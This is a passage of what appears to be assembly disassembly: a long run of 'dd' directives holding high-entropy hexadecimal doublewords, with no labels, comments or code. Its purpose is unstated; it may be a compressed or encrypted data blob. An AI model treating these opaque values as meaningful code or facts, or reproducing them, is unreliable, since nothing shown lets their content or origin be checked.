		dd 0DF235E6Dh, 0BBCA785Ch, 0A8A542C6h, 92BE29EDh, 72941317h
		dd 279AF73Bh, 0EACA4B86h, 18BC855h, 0F1356867h,	22595476h
		dd 5A72295Bh, 806828FEh, 0B054E9CBh, 807CB662h,	0AFDEE061h
		dd 0CEBFC09Fh, 1A7586AAh, 0C64C4743h, 0DC6C47D7h, 84B49849h
		dd 0E49C1A25h, 960B3A55h, 0B2ED1966h, 0B7DE3D9Ah, 80977673h
		dd 0A89AAC72h, 52730A8Bh, 2B5C235Bh, 0DAFE5A72h, 0B3413C4Dh
		dd 0A930h, 6567FC00h, 0DC6F5321h, 789DAFFCh, 0F024C271h
		dd 0D9FD4153h, 0F2AFDEA1h, 21305BDAh, 768853F0h, 62640307h
		dd 5AAB132Bh, 0D7FBB6D5h, 0C0DF7BA4h, 481749DCh, 0CF4B433Ah
		dd 40C073BCh, 0FF4355E4h, 0C549CD35h, 0E09BB7B6h, 3D4B9A12h
		dd 255DA10Eh, 72D64FCBh, 382D0B59h, 7386228Eh, 484706A1h
		dd 3756D155h, 0A563B57Ah, 0AD1D6301h, 17A79Fh, 0C3BECE00h
		dd 0EE9FA03Fh, 1792BD2Ah, 3F769413h, 205D6CFBh,	0CD755FDCh
		dd 0A03FC3BEh, 0B926EAA3h, 910E128Dh, 9DF83C6Fh, 0CBB2812Eh
		dd 823155EAh, 3568671Eh, 595476F1h, 65671FD5h, 92B58421h
		dd 4ACE53F0h, 37491626h, 21C0C044h, 0AF87205Bh,	0C049DC92h
		dd 917FCA6Bh, 72B355E4h, 55E491C7h, 8084F85Ch, 72CD6C9Ch
		dd 9055E491h, 0F9B4D2A9h, 1792BEC1h, 335A21F3h,	0A88BF927h
		dd 0D7858Bh, 8B130000h,	92AC9F18h, 0BA8553F0h, 50772FA8h
		dd 3CF65A2Eh, 58A95F16h, 4301E0DEh, 1A3E1F9Fh, 0D9F776E1h
		dd 116550A2h, 2A49DC4Dh, 0A556D726h, 2014FE4h, 396695E3h
		dd 937299E9h, 0B1EC1D6Ah, 0E1193D99h, 0E8E76879h, 0F7A91B5h
		dd 339093AEh, 0E62C10B3h, 19E358C5h, 0E86CA91Ch, 37A8CD3h
		dd 0D45E60FFh, 0B8CEFEB7h, 912B9A88h, 244811h, 5326B7FFh
		dd 0DBE94188h, 16ACh, 44C8C3C3h, 2FF3AADBh, 141895B0h
		dd 2067D8Bh, 0E72B6665h, 0C3C27064h, 0B0DD4ACEh, 9AB631F5h
		dd 7A8C1B1Fh, 2F92FF03h, 0EAC8B38Eh, 19833055h,	0DAD3F48Bh
		dd 3FEC26A2h, 0F66E9E0Dh, 1A297617h, 9953F092h,	3747424Eh
		dd 139CAFD3h, 53F09220h, 80BBDFA3h, 0DC930F27h,	58DCA049h
		dd 0A1571E9Ah, 78073440h, 0C93A524Bh, 0F092DD6Ch, 0CEF25653h
		dd 0C83A7B44h, 4149DC6Bh, 6E2F0CFDh, 0CDCCDD91h, 1A91B33Ch
		dd 8EB966E2h, 53DCEF13h, 0C4E14C03h, 98483DCh, 7597D6E5h
		dd 48B00C06h, 7FB8D3B9h, 0DA8E2BC6h, 2712930Eh,	1ECA983Bh
		dd 0BE536370h, 5097DE3h, 6497FB0Fh, 64A8E3E5h, 2E294117h
		dd 9D454C1Ah, 0D7C6F897h, 0C5241250h, 0AC7EEED5h, 15D8h
		dd 78BCEF1Fh, 6BAFDEEFh, 50D4D1FCh, 3EC2B9D7h, 2BEFA2A1h
		dd 7068CA0h, 0EC19868Ah, 0D6F26DB1h, 0B6C857DBh, 0EB5643C7h
		dd 0EAC9FF4Ah, 0D5DF7455h, 0F1366567h, 6F2D9EBDh, 99C5D747h
		dd 0D0000015h, 0AE39FDB0h, 831CE09Dh, 9E090D88h, 76F13570h
		dd 55D65A57h, 0F9B4D363h, 0E09DAA35h, 0C87831Ch, 3E6D9F08h
		dd 832C9FFAh, 55EAC9B0h, 671C8033h, 95063665h, 924EFD3Ah
		dd 41C553F0h, 9EEAFBB3h, 0A0F21E6Dh, 0F0923407h, 0A7CB4F53h
		dd 74E7526Dh, 0F092182Bh, 7DB79B53h, 0DC663A70h, 0D3573B49h
		dd 0BE4F992Dh, 274B1CAh, 1B4FC878h, 146BC637h, 7B7AB8F5h
		dd 3361C016h, 0CBC0B455h, 0C9C3C6Ah, 3A5135E1h,	0AB692423h
		dd 0C442A31Bh, 1F0E385Bh, 0A9DB4453h, 5A7EDAF2h, 72BF8421h
		dd 4C30E73Bh, 6F1E203Fh, 930A3CABh, 31BC628Ch, 9CAE1EBAh
		dd 14E4h, 7C80FB0Bh, 67ABE2E3h,	4CD0CDF8h, 3AFEB5D3h, 1FE39EADh
		dd 0FB0AB89Ch, 0E8E58286h, 0D2FE69ADh, 0B2D453D7h, 0E75A37FBh
		dd 0EACE8B46h, 0C1CB0855h, 0F0928AB9h, 62C17C53h, 3F53F0h
		dd 0FE53F072h, 53F0B24Fh, 0E92E5D6Fh, 6F2D7EC9h, 91390B63h
		dd 0D8000014h, 0B631F5A8h, 8B141895h, 66010580h, 7EE92D68h
		dd 4DCE524Fh, 0F1ACDB6Bh, 1895B22Dh, 47F8B14h, 36656700h
		dd 0FB2487F2h, 55EACE48h, 800488CBh, 47E01B61h,	49DC61CFh
		dd 0C5DB5C20h, 5B69198Bh, 144AD1E3h, 61610000h,	4C7DEA2Eh
		dd 3752CD51h, 1B29B67Ah, 4039C60h, 0D2068589h, 0E4286564h
		dd 0D3574E7Bh, 0B97D3854h, 9D611C2Eh, 1D2C89F0h, 9655EACFh
		dd 6567BB7Dh, 47790636h, 0AB442454h, 88E83644h,	20F68594h
		dd 22000000h, 0F09286B9h, 0E9A4A653h, 0C3DD82D2h, 0F458B388h
		dd 8D337A3Eh, 56531B16h, 13E61426h, 67820000h, 9E063665h
		dd 9702394Fh, 0CBC3BAC8h, 86C8C54Fh, 2849DC91h,	0B77D3051h
		dd 9D1834B3h, 8EC6B579h, 9A420363h, 0FDB143ADh,	0F06398ECh
		dd 48D6D960h, 7EB48FF3h, 0C831937Fh, 3E4B944Fh,	0AFD33747h
		dd 0DFC5C09Fh, 0CF0E7F80h, 5FD8F97Ch, 5C6F93F7h, 8981FC0Dh
		dd 0A53070Dh, 5FD8F930h, 78BCF112h, 9FAFDEEFh, 75305D2Ch
		dd 0AEDFE0BFh, 0CBC6C19Eh, 0E5A0ACB3h, 6C8372D5h, 4CA3D0A6h
		dd 7D8AD1h, 3E7F8C08h, 5FD8F903h, 0D976BC80h, 8531F5A8h
		dd 91BCF757h, 27D67h, 5375F400h, 305F2058h, 51DB597Dh
		dd 0E01B6180h, 0DC7C9F47h, 7BA41749h, 55E48CC8h, 5F2C354Bh
		dd 0D075097Dh, 3E0266ACh, 0FD9E770Dh, 5D5906B7h, 7788D7D7h
		dd 64650206h, 0AD901129h, 0A655E4D2h, 0C2C30269h, 9AA9B0CBh
		dd 91B5F01Ch, 3A0B1D79h, 5C449396h, 0B1D18193h,	96172450h
		dd 4FC81674h, 1E6199FDh, 453849EFh, 4342DD21h, 42FF3E4Eh
		dd 455FD818h, 0A5A4E30Ah, 8D5C24E8h, 18FC4FE8h,	13775FD8h
		dd 2353DCEFh, 7B45F4E0h, 9CACE9E4h, 0A7CBC2C3h,	1A31156Dh
		dd 3330EAFh, 0CCB041CCh, 3C37EBFh, 0FC4041CCh, 0D7E97636h
		dd 4E7E2D5Fh, 3E150DDh,	1E6241CCh, 0D552D6FAh, 0BCC3F8B3h
		dd 9CF8108Dh, 0A4971696h, 0BF41CC03h, 0B8CAF910h, 0A5A641C5h
		dd 7A8CD3E8h, 858F0B03h, 9A252639h, 2321D88Ah, 3E4E72E5h
		dd 0B9C89788h, 629A113Fh, 442CC2E6h, 99AA176Fh,	3D543BF9h
		dd 8B80FD0Eh, 0A2DAD3F4h, 0D4C7F926h, 26D220A4h, 0BEFB1655h
		dd 0CC469474h, 0CF5097D0h, 0E5000000h, 1C2C6966h, 67F07AB8h
		dd 7A053568h, 0F026564Bh, 0EE1D2C43h, 802D98B3h, 53F092B1h
		dd 1994B532h, 0B34165E1h, 8885AB07h, 9F118594h,	9F000000h
		dd 5366567h, 635AC24Fh,	7F814DA3h, 9A2AE80Ch, 563AC3C5h
		dd 8EDE45A8h, 2E265579h, 0D9EBE643h, 0D8684CA2h, 15C3E331h
		dd 219C8FE6h, 0F013B584h, 0DD4ACE53h, 6D22F0ABh, 70DC205Bh
		dd 85950AAAh, 5934h, 6180E000h,	3747E01Bh, 0C849DC6Ah
		dd 5BC43744h, 55E49AE8h, 0FBCFBEC0h, 0D30A8197h, 1CBBC5BFh
		dd 0CA259616h, 0E4F0DE6Dh, 23F15555h, 0E4F08BB2h, 0E39AAB55h
		dd 387594EBh, 52B9D600h, 33AE9DC8h, 0E4F047F2h,	0AF78DC55h
		dd 75D1E9A4h, 0B9B9D0BFh, 8BA8EA73h, 9503h, 6180A900h
		dd 2875E01Bh, 53F09219h, 437CB69Ah, 0DC9064E2h,	82B99D49h
		dd 5DD7CEFBh, 0B0ED1E61h, 0DBD2F36Ch, 0F2ABDCA3h, 88EF2CDAh
		dd 4EFD3A95h, 0C555E490h, 0EB1CB341h, 1CC26EB2h, 0BA8BA88Fh
		dd 42h,	18648076h, 34719CE3h, 0B160CDFEh, 0B2D3F092h, 3E4DBECEh
		dd 0E1659510h, 939BA213h, 9443D3F0h, 315DA97Dh,	0F33CAF1Ah
		dd 0D3F09340h, 38B57FC3h, 53F09369h, 0E9A266EAh, 0F43E7392h
		dd 116Ah, 4C2A8000h, 0F9000000h, 132B6662h, 22463F4Ch
		dd 6C676ED0h, 45461931h, 0E31B92B3h, 0CCBF4367h, 7DC62EB4h
		dd 9F919536h, 16934F32h, 10CF45A8h, 168EBEEFh, 298880F8h
		dd 53F0D117h, 33BEB6F5h, 907492BAh, 69806FA5h, 94D5C369h
		dd 0BEBD385h, 80D90000h, 43E21A6Eh, 0CC4B4779h,	0B2D1A893h
		dd 3F5635FFh, 3FBDED33h, 2A890Fh, 80270000h, 76E11A6Eh
		dd 0F0921A29h, 7FB59953h, 9250E34Ch, 6FD353F0h,	0ACC1DE5Fh
		dd 0EC6B2C7Ch, 59A77585h, 0BC372F08h, 0FD000002h, 0A00D6E80h
		dd 53F09291h, 480A2E12h, 6567442Eh, 4A460536h, 4943C54Fh
		dd 80965463h, 0B9C08894h, 63E7178Ah, 0A088584h,	4779h
		dd 6E80B700h, 6E7F4BE8h, 0C8EC5BB7h, 54E740B3h,	4D53F027h
		dd 9DCAD961h, 12764A34h, 2A8B1E00h, 53F09210h, 8B3FB599h
		dd 316C67A1h, 8B604AA3h, 2EF00DFDh, 7BB98FF8h, 38E9h, 0E243BE00h
		dd 53F04B57h, 0A0AA68ECh, 581A6E80h, 92102A8Bh,	7FD353F0h
		dd 8BA18BF5h, 0DB52CFDh, 34FE96AFh, 61C36C67h, 0D146CA5Ah
		dd 3544F730h, 7BDF53F0h, 4AA13357h, 4543B960h, 6C9B05B7h
		dd 5072ED31h, 4D7C8B5Dh, 3F419E50h, 22233C4Ch, 440B536Bh
		dd 729DE52Dh, 4B79001Bh, 56DC3850h, 251487B9h, 63F5A8DAh
		dd 90BFDADDh, 45384A79h, 5CF85F4h, 17912E18h, 0ED1FCC46h
		dd 3F4F4A45h, 0E2205129h, 0B9DDDB7Ch, 504C395h,	4F6691ADh
		dd 0A0361A82h, 0B9749BC4h, 0C48577ABh, 113314Ah, 96B7384Ah
		dd 58B3FDDh, 0D7DAFC38h, 0C7EB833Ch, 0F4136AA3h, 3E4E4342h
		dd 403B4DDAh, 0A9BF2C5Ch, 3061CDD0h, 0B7E618A1h, 151F0387h
		dd 7312413Fh, 0A3DEED1Ch, 0FDB0D1A8h, 0E2E48337h, 0D7F635ABh
		dd 15E6B7CDh, 289049CFh, 55DFCEFFh, 4F2CE658h, 0D0EB6F82h
		dd 0FDF07D89h, 97615457h, 62E6163Ah, 1119BA8Ch,	0BA78BB39h
		dd 0D83FD0ACh, 0AC6E0F45h, 4A7C9B47h, 0BAF113C8h, 7B89D043h
		dd 2B5DF200h, 0B7CDFE70h, 66E861CBh, 0DF75BF96h, 0B74944D5h
		dd 6DE9E19Ch, 1F2E3149h, 0EED6A62h, 8BF623E7h, 48434118h
		dd 0A695D430h, 3D824F53h, 0DD34DB59h, 7EF69CAEh, 0C505252Eh
		dd 66D514B2h, 0FD824F77h, 79847599h, 0D8CFA647h, 30E2F366h
		dd 7E8D5A0Ch, 9639AD03h, 4F3E407Fh, 65673AFEh, 4E4F0536h
		dd 6187E775h, 0DADD6CC9h, 0F25653F0h, 8BC244CEh, 92AC9F18h
		dd 0FC8553F0h, 936FED35h, 0D946CABEh, 2220F2ADh, 186480B0h
		dd 5463495Ah, 88948096h, 3C00h,	6480AC00h, 188B5A18h, 923100ADh
		dd 0A8F553F0h, 53F09299h, 0FE42361Ah, 9285B934h, 0A0E53F0h
		dd 0D9F48B48h, 0AC3B992Eh, 0A1C5FA24h, 0C4E72DA9h, 376667D0h
		dd 2A604ABDh, 42h, 18648040h, 102A8B5Ah, 0D353F092h, 927CCF68h
		dd 0E55553F0h, 30854691h, 62A2E62h, 48188B4Ch, 0D8BB9498h
		dd 3050FDAh, 0BFCC6667h, 0D552B6C6h, 48CCFCB7h,	7BA41724h
		dd 53F092C8h, 0CB4DC74Bh, 0B3B9604Ah, 8B53F063h, 0D0CDF87Ah
		dd 0EF385CB8h, 0D684A8E3h, 0FFFFFD0Bh, 1E2D8AE5h, 9553F083h
		dd 0B9F963B1h, 53F09286h, 9C17334Ah, 922AE86Ch,	0DBD2FF7Ch
		dd 411873B7h, 4DD74944h, 716BE683h, 0AAA57AB8h,	8FBFF614h
		dd 64D7E70Bh, 349DAC09h, 321653F0h, 3446F5E0h, 0AF8E53F0h
		dd 930E3948h, 0BEEF108Fh, 92FE0A7Ah, 80D33B7Ah,	2A35951Eh
		dd 151868C3h, 0DAD7BC3Fh, 0D01EE230h, 2EC7EB7Bh, 0B39E9B56h
		dd 6AEE1E95h, 615F4AB4h, 640F731Ah, 858FB3D1h, 23EFAh
		dd 0D1F08F00h, 7A32EB2Eh, 50747E97h, 0EC56DC38h, 0F09285B9h
		dd 0D5A34253h, 6C6579A6h, 98EE49DCh, 28FCC7D5h,	49CDF143h
		dd 0C6F6B3DEh, 0CF0F1F55h, 3958E0A4h, 6A2324FBh, 81FC0D52h
		dd 47431A89h, 5AD83C4Ch, 0C6F58362h, 8CBFF86Bh,	755E4A3h
		dd 0B3D7C6F8h, 0A32C1F98h, 0A3A755E4h, 7FBE6451h, 0D3B74FC8h
		dd 541404Ch, 0CAD83063h, 0CA8h,	48CCBFCFh, 3BFFAEDFh, 20E4A1ACh
		dd 0E128987h, 0FB3F7291h, 0D7F65C70h, 0BCC956DAh, 0A6A23DC1h
		dd 86B827EBh, 1B661317h, 0EAF6AF9Ah, 25EF2455h,	706EFD8Bh
		dd 0AC0F90CBh, 20FFE39Ah, 0F4AB6924h, 30A3DBD2h, 0F4E958C5h
		dd 0E66A53F0h, 349982Ch, 0E19F7808h, 0A65C61BAh, 0F5D2536Ch
		dd 0E49DA26h, 2B86F10Ah, 0C928605Dh, 15547A8Dh,	55EAC126h
		dd 845BD9BDh, 9F080C89h, 72023974h, 646660DCh, 63B51129h
		dd 0AD7A04A3h, 70D4E49Fh, 4B7D02A2h, 21C03850h,	0BFB5205Bh
		dd 6F10B2B3h, 0B8A8890h, 4FC69163h, 6CDF58CBh, 0E75FDF99h
		dd 16519163h, 9699BDF8h, 62FE9394h, 0E9AE7CECh,	0Bh, 1E898D00h
		dd 0F36CB0EDh, 0CE59DDD8h, 0A641C5C0h, 0A526EAA7h, 890403B3h
		dd 0B0ED1A85h, 0DCD7F36Ch, 0CEBDCF58h, 53DC2F4Ah, 55EAF7E0h
		dd 8BECD063h, 1C063FFDh, 9260FD27h, 0B8D0CBFDh,	0A0DBA140h
		dd 0DC630F07h, 181C6049h, 0A0E7D8Fh, 730A6B7Ah,	231E5F56h
		dd 0A055E4C7h, 1083B8DCh, 0C7C978A5h, 3D4A55E4h, 0A76D910Ch
		dd 0CE70B436h, 22593D4Fh, 7C8E305Bh, 0F0D25BF3h, 0D4F8333Fh
		dd 0F83C20A4h, 1129646Fh, 49413C4Eh, 374430D1h,	0F22400F6h
		dd 0FD3A1145h, 41B2C74Eh, 128FBAC5h, 4D45CAEEh,	575CEB49h
		dd 0B3ED5E7h, 55750000h, 3849D65Ah, 2B26C145h, 0F3DAA6Eh
		dd 0F8179094h, 0D6FA8185h, 0E82C6160h, 0D75B527Fh, 0BD413C48h
		dd 0A96D2022h, 1307DCCh, 8255EAF4h, 65674F71h, 0CBC3BECDh
		dd 0AB132B4Fh, 901D2E5Ah, 49DC9142h, 0B8685C4h,	9195F909h
		dd 74B8F516h, 96A5E0EBh, 914FFA3Bh, 57C455E4h, 0E4917BD6h
		dd 7094F855h, 803CF6A2h, 90E01B61h, 4AF714DCh, 0A81B19DEh
		dd 0DC82BB0Fh, 3048CC49h, 0E4624EF1h, 4AA1AC55h, 0A97CE208h
		dd 77FC8Bh, 67380000h, 78073766h, 59265647h, 758702Bh
		dd 275E6C06h
		dd 6687FF03h, 76BCF912h, 0FF49DC69h, 93A6949Bh,	62DA6919h
		dd 0A8750h, 0E39EAE00h,	0E7F801Fh, 37729D0Ah, 5F5674F3h
		dd 403D4CDBh, 0AD153FBCh, 801FE39Eh, 99060A83h,	71EE326Dh
		dd 0BDD85C4Fh, 0F452E14Eh, 0A2D155EAh, 9F188B7Eh, 53F092ACh
		dd 3AD12327h, 2E5D6F09h, 0F675060Ah, 0C85AD8D5h, 58h, 37666766h
		dd 0B3D59407h, 7E8E0503h, 42C6F61Ah, 9FEDFCB0h,	4E1BC36Ch
		dd 70D449DCh, 1972CBAFh, 0B785F569h, 0A14h, 0AC702B5Bh
		dd 979B1233h, 7C80FD08h, 6AAEE5E3h, 4FD3CEFDh, 2B5AE8CCh
		dd 1835B276h, 20E999Dh,	0E2E48387h, 0B70A67ABh,	0EAF5DB76h
		dd 0F13B5855h, 6366567h, 27544779h, 7E8F2958h, 77D3EB0Fh
		dd 8E6101BDh, 88C56B67h, 46D18594h, 0DF000002h,	0F5A0FD8Bh
		dd 7E182789h, 0F551E04Dh, 6ED253F0h, 0A178EA4h,	225A5173h
		dd 89586CA6h, 70940938h, 0CA8DA5Bh, 0CAA149DCh,	0E4FDDE6Dh
		dd 0CDF15555h, 0A4AD3F7Ch, 9B6A604Ch, 3951DEEDh, 3AB07080h
		dd 900D3A41h, 6EDD1C78h, 0E5AC3089h, 0D54D7D61h, 0EA4B4034h
		dd 0B61F0055h, 33417ADEh, 0BC563675h, 1CAF65C2h, 0D6573B4Dh
		dd 5627797Bh, 0C66794F8h, 5627790Bh, 9C608488h,	858A0103h
		dd 6955B3ABh, 3DF7C535h, 74000009h, 4AD55954h, 27C04439h
		dd 32AD712Ch, 0A959914h, 0F98286FBh, 2D606FD7h,	54517EE9h
		dd 403B57D0h, 6A2123BCh, 3770CBA6h, 55EAFA04h, 67B0749Fh
		dd 9F073766h, 3FC0C14Eh, 9CC577E0h, 0F71B3FF4h,	0FA055BC4h
		dd 4ACE49DAh, 631E2A31h, 9A25EF6Bh, 81D8C6C3h, 72C10883h
		dd 0F155EBA4h, 3AA5698Dh, 78900Dh, 0C7609BE1h, 4FC7451Fh
		dd 7B97D0h, 9BF9C8EEh, 2549C712h, 433A5716h, 912320BFh
		dd 0E2193D70h, 1B336A9Bh, 926EB94Dh, 61855F54h,	3A4C1393h
		dd 9AECBC43h, 148462FEh, 89B06h, 0FFB2D200h, 0E29BAC3Bh
		dd 0B86811Eh, 336A9807h, 5C5170EFh, 0C97953D8h,	0A443C7BAh
		dd 0BD2AEEA7h, 95121691h, 99F43873h, 0FAB68522h, 86CD55EAh
		dd 3E156402h, 0E653F092h, 0C3F78EBh, 8753F092h,	83EA7183h
		dd 242524A7h, 3FF55169h, 0F9126687h, 0FF81DE6Bh, 0EBE00231h
		dd 0F0FBFF4Ah, 2107453h, 1A5E04A1h, 0A49749DCh,	0E418C87Bh
		dd 0A3C4B55h, 304B6F93h, 0E8B86C5h, 0E4187CCFh,	8193F755h
		dd 712C2726h, 4034D5ADh, 79D4EA4Bh, 25D4FCBh, 16728A07h
		dd 8082D9F2h, 6C9E090Dh, 7528EE31h, 60D86302h, 7F352h
		dd 970A3A00h, 0BAF31493h, 0A3DEE976h, 0CBC2C05Fh, 0F4A9D847h
		dd 3181AB30h, 0C9B9F12h, 0E58286FFh, 0FD6AAEE9h, 214CD0CBh
		dd 0FBEE5DDAh, 2E6555EAh, 0D2F48BEAh, 0E15C59DBh, 0C153F092h
		dd 3848CCBFh, 0FA8A3A9h, 49DC2C31h, 0A6A5D6BAh,	0BC2BEFAAh
		dd 76E51590h, 0DCAF9A1Bh, 202455E4h, 79270D2h, 0D4470000h
		dd 0E4DCF84Bh, 0E4177B55h, 0E4DC88BBh, 0D070B55h, 0E061800Bh
		dd 7784A8E5h, 0DC6CB436h, 21593D49h, 0E49FBD80h, 276B9D55h
		dd 0E49F4B86h, 2044C855h, 403B5728h, 48AF3048h,	6C900B39h
		dd 737F9671h, 8BA899ADh, 14BC9h, 6B67E700h, 49441B30h
		dd 75E6C64Ch, 92AE9D1Ah, 0DA2553F0h, 44CEF2AFh,	8037A97h
		dd 225A5571h, 0F506CA6h, 0E17E8EFDh, 0C391AAE5h, 8E134D3Ah
		dd 33E72D26h, 0F140ED58h, 7253F06Fh, 3B57040Eh,	3FD04840h
		dd 54C73249h, 0F06F78CBh, 6497FB53h, 0F06F083Bh, 8D878B53h
		dd 0F06EF900h, 0E6167A53h, 2C5BB261h, 0EAA16520h, 6F033E7Fh
		dd 0BC8053F0h, 0F2ADD976h, 6E9C5BDAh, 0D50453F0h, 0F11C63BEh
		dd 0CFFB84B4h, 0AD62B0D4h, 6922E6A1h, 6C82B1FEh, 3D0153F0h
		dd 5820BFF7h, 0C477B023h, 5F53F06Ch, 218E39FBh,	53F06C0Ah
		dd 0DE96A5A9h, 0AC7748DCh, 0DB97B3Bh, 0DAC0CF9Eh, 0F0FEEE5Dh
		dd 0FDE16553h, 14CB49CDh, 0ED7ABEF7h, 0CA95A5E0h, 52B5C5B8h
		dd 507D8CE3h, 3956D155h, 35D44C7Ch, 0C7EB3447h,	6849DCFFh
		dd 8A8720E4h, 6C83FB13h, 8F46E714h, 4355E4FEh, 80920B3Ch
		dd 6BEC1C60h, 2926658Ch, 123FA86Ch, 0FE10238Ch,	0AF9355E4h
		dd 68E0708Bh, 0F9ECDB05h, 0D54D79BBh, 7BD65734h, 0F855E440h
		dd 0DA5B7094h, 4FC8AF64h, 25269EDh, 0AB7C8249h,	2B67C38h
		dd 0E92D6865h, 4B862792h, 0C85FD873h, 0F2A9DB44h, 0E7B47EDAh
		dd 0A66CB0EBh, 0E01B6180h, 0DC910B47h, 3148BB49h, 0E1509914h
		dd 6255E491h, 334B98ECh, 74980C41h, 0B6C64ABEh,	89040645h
		dd 401F1571h, 273D4E3Fh, 0CD7604DDh, 0D8989A1Dh, 1864801Ah
		dd 92FE41E0h, 0F11C53F0h, 8C92589Ah, 412C8594h,	88000000h
		dd 0AC9F188Bh, 2753F092h, 93AD123h, 76C56494h, 0DE53F092h
		dd 0D8E9187Fh, 0E91861A5h, 3A53F074h, 0D9BF7301h, 7722368Ch
		dd 0FFBBA3BDh, 570FFFFh, 0F0CFA998h, 637A8853h,	0B0BD1159h
		dd 0B0BA78DCh, 0DED7F48Bh, 33E82AAEh, 88D89A11h, 5D43441Bh
		dd 0F09261D0h, 7A9EE253h, 0CA4CC642h, 5A186480h, 55700F7Ch
		dd 0E78354AAh, 0C6EA43BBh, 0D42CA0B6h, 2170C287h, 540DF73Dh
		dd 88948096h, 3300h, 6480AC00h,	2A8B5A18h, 53F0921Fh, 5808CD3h
		dd 0DD97FB0Fh, 2722FD8Bh, 30959117h, 67EFC1E2h,	4C043766h
		dd 3EC54E76h, 0D15BD928h, 242A604Ah, 40000000h,	49C0FD8Bh
		dd 0D9C68E69h, 0FB87635Bh, 41188B79h, 0C8C54F42h, 53F09279h
		dd 8B9A58B0h, 376667A1h, 67604ABDh, 0AA19316Ch,	140721DAh
		dd 0A0898EFh, 0F051B88Bh, 39749053h, 524F7E01h,	0AAC10E3Ah
		dd 79907F60h, 0BE423F4Ah, 0F0A0B9FFh, 0B3EE1953h, 411B3F9Bh
		dd 0FFFFF3D6h, 376667EFh, 67293F3h, 0DACA9AF5h,	0E63A71A0h
		dd 0D04637FDh, 4149DC8Fh, 0F5ECDFDh, 17738B02h,	0B3AD901Dh
		dd 804F55E4h, 0A9C36969h, 4C138BA8h, 3D4B433Ah,	160B5EAEh
		dd 0E3315558h, 700h, 12AAC00h, 40000000h, 0E01B6180h, 0DC64AB47h
		dd 5B4D1B49h, 0D0CBF9A8h, 0B7CA5CB8h, 9848FC5h,	0A37195F1h
		dd 0B4CBC347h, 65161A93h, 19A94CEFh, 1D17CBCCh,	0E431FB90h
		dd 3B3DF55h, 0C7F8F06h,	0E43190A3h, 0B2F1355h, 888423E7h
		dd 171BFD0Dh, 1F2C332Eh, 20F25666h, 0F915345Bh,	0DBED7ABEh
		dd 0CFF10EA0h, 31DF6ACBh, 0D3FF55E4h, 8760E4D8h, 9CF8108Bh
		dd 8DFEE678h, 19C43CF7h, 1E1443CDh, 0D9EB1A71h,	54416BA2h
		dd 86148086h, 0AA10h, 6F809C00h, 188B5B19h, 0F092AC9Fh
		dd 0D1232753h, 92F549D6h, 0DC3453F0h, 57A18B16h, 0F48B503Ch
		dd 8358DAD3h, 8B480A81h, 0AEDED7F4h, 0D7FBB6D1h, 804B615Dh
		dd 8B5A1864h, 0DF587AFDh, 7CB952F7h, 53F0EFCDh,	54DEC246h
		dd 9654569Ch, 889480h, 30h, 7E3B5615h, 6480B2B4h, 2A8B5A18h
		dd 53F0921Fh, 0FF818CD3h, 84B4D8D3h, 92F6F200h,	8BA18BC0h
		dd 5AD8D5F4h, 4B098485h, 222A604Ah, 40000000h, 5A186480h
		dd 921F2A8Bh, 7ADE53F0h, 67A18BF8h, 4ABD3766h, 88582D9h
		dd 7C8B94F0h, 878D0901h, 0FF4D2A9Dh, 6740FFFFh,	95063665h
		dd 0CD0EB9D6h, 0F8FDD8BFh, 0E8A82A6h, 0BD355704h, 9FFB138Eh
		dd 85C4B77Bh, 0AE060C87h, 9512295Fh, 49DCB0D9h,	9F1E2E12h
		dd 55E476A0h, 6E6C8342h, 8BA96CC0h, 0B6404F1Eh,	68EC1C99h
		dd 313DCE44h, 0FB000000h, 0E01B6180h, 0DC6CD747h, 14242849h
		dd 0E49CAA95h, 67B8A55h, 275A69F6h, 2A41B017h, 87C6C5E0h
		dd 7C03118Ch, 9B17C515h, 0BAA78BA8h, 0D000000h,	6366567h
		dd 27574A79h, 47772658h, 93970638h
		dd 0F097A7CAh, 0B6E5E753h, 0D8D3F572h, 0B4A938A0h, 0F096D86Bh
		dd 0D3F75B53h, 73B37FB8h, 0C7B449DCh, 0E4BBEB66h, 0C0E46855h
		dd 0D7A5443Ch, 153249A4h, 0E5E46098h, 55E4BB56h, 18AB69EDh
		dd 0E2B0DEADh, 0E4BBF645h, 0E5090D55h, 0E324AE2Fh, 0F95D4FCBh
		dd 118CBBC2h, 90E67E0Dh, 0BA372387h, 0D0FFAC66h, 45692426h
		dd 2BF06C2h, 1C2E9E63h,	230h, 0D0544747h, 0C3473657h, 0A86C2924h
		dd 969A113Fh, 8387FA09h, 5F6ED4F8h, 4441DE22h, 2E5AC549h
		dd 0E30AF73h, 83FE9B9Fh, 0EAFD1722h, 0BD67AC55h, 0F1356867h
		dd 0D5595476h, 1B61801Fh, 6CD747E0h, 242849DCh,	9CAA9514h
		dd 514855E4h, 92413903h, 0C64CE32Fh, 5A80D239h,	648BA940h
		dd 0ADh, 0CD6567B0h, 4CC8C0BBh,	404F1028h, 95FC3D4Dh, 3553F097h
		dd 0B949813h, 198A82F9h, 0C74D4042h, 516A1EEFh,	0DC731AD4h
		dd 31DC9449h, 6E3A18D0h, 600337Ch, 0BF8355E4h, 0E569999Bh
		dd 0F4806121h, 78CB54C7h, 0FB55E406h, 85229D97h, 4FCB6360h
		dd 2984B79Bh, 0DB8C725Bh, 0F12E957Fh, 2BAFDFD2h, 9E1332E9h
		dd 83FE0D9Ah, 25BCA7Ch,	24F66663h, 15Ch, 0F4387393h, 0DF235A6Bh
		dd 0C4484540h, 0B2762D5Bh, 979B1635h, 73922014h, 606DFA3Eh
		dd 4A46E125h, 2A5CCB4Fh, 7FC2AF73h, 0EAFD033Eh,	49738055h
		dd 0F1356867h, 0D5595476h, 0C465671Fh, 57672CC4h, 2D1C9999h
		dd 0A653F0E0h, 629ABEA2h, 6CB0EB1Dh, 9C75F514h,	0B41EAD2Bh
		dd 996A5C9h, 49DCFC51h,	0FE8DBE82h, 5CB8D0CDh, 21800ACAh
		dd 0A46E2E37h, 4B42441Bh, 772658C7h, 7A0EDF47h,	95083A41h
		dd 0B0ED1A65h, 0F825868Ch, 4FCEFC9Ch, 0C66EB195h, 7E62FE71h
		dd 0C23C0Eh, 0D9E90000h, 0C4C562A6h, 0AFDA45C9h, 93B12EF2h
		dd 7C8B1418h, 5A7EFD01h, 5CA0DDECh, 4BCFC6C3h, 31F5B0DCh
		dd 151994B6h, 95A40178h, 2E55EAE2h, 0FD8B23E5h,	7BCB806Eh
		dd 0DCD02207h, 0D14C7F0Dh, 0F2CBD983h, 64AE75C9h, 0DAA80B69h
		dd 14242849h, 4942394Bh, 999B1632h, 0A9DBA2D9h,	0B47EDAF2h
